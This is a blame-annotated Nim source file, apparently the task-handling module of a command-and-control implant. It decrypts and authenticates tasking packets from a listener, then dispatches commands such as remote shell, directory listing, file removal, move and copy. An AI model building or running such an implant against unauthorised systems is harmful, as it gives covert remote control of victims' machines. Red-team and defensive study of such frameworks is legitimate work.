2025-07-23 13:47:37 +02:00
|
|
|
import strutils, tables, json, strformat, sugar
|
2025-07-21 22:07:25 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
import ../commands/commands
|
2025-07-23 13:47:37 +02:00
|
|
|
import ../../../common/[types, serialize, crypto, utils]
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
2025-07-08 23:10:19 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
let handlers = {
|
|
|
|
|
CMD_SLEEP: taskSleep,
|
|
|
|
|
CMD_SHELL: taskShell,
|
|
|
|
|
CMD_PWD: taskPwd,
|
|
|
|
|
CMD_CD: taskCd,
|
|
|
|
|
CMD_LS: taskDir,
|
|
|
|
|
CMD_RM: taskRm,
|
|
|
|
|
CMD_RMDIR: taskRmdir,
|
|
|
|
|
CMD_MOVE: taskMove,
|
|
|
|
|
CMD_COPY: taskCopy
|
|
|
|
|
}.toTable
|
2025-05-28 10:39:30 +02:00
|
|
|
|
2025-07-08 23:10:19 +02:00
|
|
|
# Handle task command
|
2025-07-21 22:07:25 +02:00
|
|
|
return handlers[cast[CommandType](task.command)](config, task)
|
|
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
2025-07-22 21:00:39 +02:00
|
|
|
|
|
|
|
|
var unpacker = initUnpacker(bytes.toString)
|
|
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
let header = unpacker.unpackHeader()
|
2025-07-22 21:00:39 +02:00
|
|
|
|
|
|
|
|
# Packet Validation
|
2025-07-23 13:47:37 +02:00
|
|
|
if header.magic != MAGIC:
|
2025-07-22 21:00:39 +02:00
|
|
|
raise newException(CatchableError, "Invalid magic bytes.")
|
|
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
if header.packetType != cast[uint8](MSG_TASK):
|
2025-07-22 21:00:39 +02:00
|
|
|
raise newException(CatchableError, "Invalid packet type.")
|
|
|
|
|
|
|
|
|
|
# TODO: Validate sequence number
|
|
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
# Decrypt payload
|
|
|
|
|
let payload = unpacker.getBytes(int(header.size))
|
|
|
|
|
|
|
|
|
|
let (decData, gmac) = decrypt(config.sessionKey, header.iv, payload, header.seqNr)
|
|
|
|
|
|
|
|
|
|
if gmac != header.gmac:
|
|
|
|
|
raise newException(CatchableError, "Invalid authentication tag (GMAC) for task.")
|
2025-07-22 21:00:39 +02:00
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
# Deserialize decrypted data
|
|
|
|
|
unpacker = initUnpacker(decData.toString)
|
2025-07-22 21:00:39 +02:00
|
|
|
|
|
|
|
|
let
|
|
|
|
|
taskId = unpacker.getUint32()
|
|
|
|
|
listenerId = unpacker.getUint32()
|
|
|
|
|
timestamp = unpacker.getUint32()
|
|
|
|
|
command = unpacker.getUint16()
|
|
|
|
|
|
|
|
|
|
var argCount = unpacker.getUint8()
|
|
|
|
|
var args = newSeq[TaskArg]()
|
|
|
|
|
|
|
|
|
|
# Parse arguments
|
|
|
|
|
var i = 0
|
|
|
|
|
while i < int(argCount):
|
|
|
|
|
args.add(unpacker.getArgument())
|
|
|
|
|
inc i
|
|
|
|
|
|
|
|
|
|
return Task(
|
2025-07-23 13:47:37 +02:00
|
|
|
header: header,
|
2025-07-22 21:00:39 +02:00
|
|
|
taskId: taskId,
|
|
|
|
|
listenerId: listenerId,
|
|
|
|
|
timestamp: timestamp,
|
|
|
|
|
command: command,
|
|
|
|
|
argCount: argCount,
|
|
|
|
|
args: args
|
|
|
|
|
)
|
|
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
|
2025-07-22 21:00:39 +02:00
|
|
|
|
|
|
|
|
result = newSeq[Task]()
|
|
|
|
|
|
|
|
|
|
var unpacker = initUnpacker(packet)
|
|
|
|
|
|
|
|
|
|
var taskCount = unpacker.getUint8()
|
|
|
|
|
echo fmt"[*] Response contained {taskCount} tasks."
|
|
|
|
|
if taskCount <= 0:
|
|
|
|
|
return @[]
|
|
|
|
|
|
|
|
|
|
while taskCount > 0:
|
|
|
|
|
|
|
|
|
|
# Read length of each task and store the task object in a seq[byte]
|
|
|
|
|
let
|
|
|
|
|
taskLength = unpacker.getUint32()
|
|
|
|
|
taskBytes = unpacker.getBytes(int(taskLength))
|
|
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
result.add(config.deserializeTask(taskBytes))
|
2025-07-22 21:00:39 +02:00
|
|
|
|
|
|
|
|
dec taskCount
|